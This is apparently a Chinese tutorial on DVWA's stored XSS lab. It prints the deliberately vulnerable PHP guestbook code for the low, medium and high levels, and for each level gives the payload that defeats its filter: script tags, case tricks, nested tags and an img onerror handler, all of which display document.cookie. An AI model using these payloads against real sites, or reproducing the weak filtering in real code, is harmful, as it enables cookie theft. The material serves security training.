DVWA-XSS(Stored)存储型跨站脚本攻击
DVWA-XSS(Stored)存储型XSS是一种持久型XSS,与DOM型和Reflected型区别在于将恶意脚本注入到网站的某个存储区域,如数据库或其他文件类型中。每当访问网站时,服务器在生成页面时,将含有恶意脚本当做有效内容插入到页面中,并响应给用户。浏览器就会执行页面中的恶意脚本,从而对访问者造成攻击。
--low级别:
服务器端代码:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
在low代码中,通过stripslashes()函数对message的内容进行过滤。但没有对name的内容做限制。
正常访问:
在name内容中插入script脚本获取cookie信息,如下:
<script>document.write(document.cookie)</script>
提交结果如下:
--medium级别:
服务器端代码:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
在medium中对name参数内容中<script>内容替换为空,可以通过大小写或重写拼接的形式绕过。如下:
<Script>document.write(document.cookie)</Script>
执行结果:
或者:
<scr<script>ipt>document.write(document.cookie)</scr<script>ipt>
执行结果:
--high级别:
服务器端代码:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
在high中通过正则表达式对script标签内容大小写进行过滤,可以通过onerror引用外部资源错误形式触发脚本内容。相关标签<img>、<object>等。如下:
<img src="1" onerror="document.write(document.cookie)"/>
执行结果: